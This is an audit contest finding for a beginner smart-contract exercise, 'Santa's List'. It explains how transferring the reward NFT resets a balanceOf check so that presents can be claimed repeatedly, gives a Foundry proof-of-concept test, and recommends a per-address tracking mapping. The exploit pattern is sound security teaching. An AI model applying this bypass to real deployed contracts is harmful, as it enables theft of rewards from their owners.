First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::checkTwice` santasList.balanceOf can be manipulated thus reward can be claimed Infinite times.

bytecode

Summary

In SantasList::checkTwice the santaList.balanceOf can be manipulated by transferring the existing reward to someone and claim reward once again. Repeat this process to collect infinteRewards.

Vulnerability Details

​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
}
​

When the attacker collects the reward, the balance of the attacker becomes 1 thus attacker cannot collectPresent once again because of the if (balanceOf(msg.sender) > 0) check. It can be bypassed if the attacker transfer the existing Reward to his friend(let's say ALICE) which makes the balanceOf the attacker to 0 again. Thus attacker the collect the Present once again. Thus repeating the process to collecting the present infinite times.

Impact

// here is the proof
​
function testCanCollectedRewardMoreThanOnce() public {
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
uint256 tokenId = 0;
​
vm.startPrank(attacker);
santasList.collectPresent();
santasList.approve(ALICE, tokenId); // approving ALICE.
vm.stopPrank();
​
vm.prank(ALICE);
santasList.safeTransferFrom(attacker, ALICE, tokenId); // ALICE transfers the NFT
​
vm.startPrank(attacker);
santasList.collectPresent();
vm.stopPrank();
}

Tools Used

  • Foundry

Recommendations

Use some mapping to track whether the user has already collected the present or not.

- if(balanceof(msg.sender) > 0)
+ if(alreadyCollected[msg.sender])
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!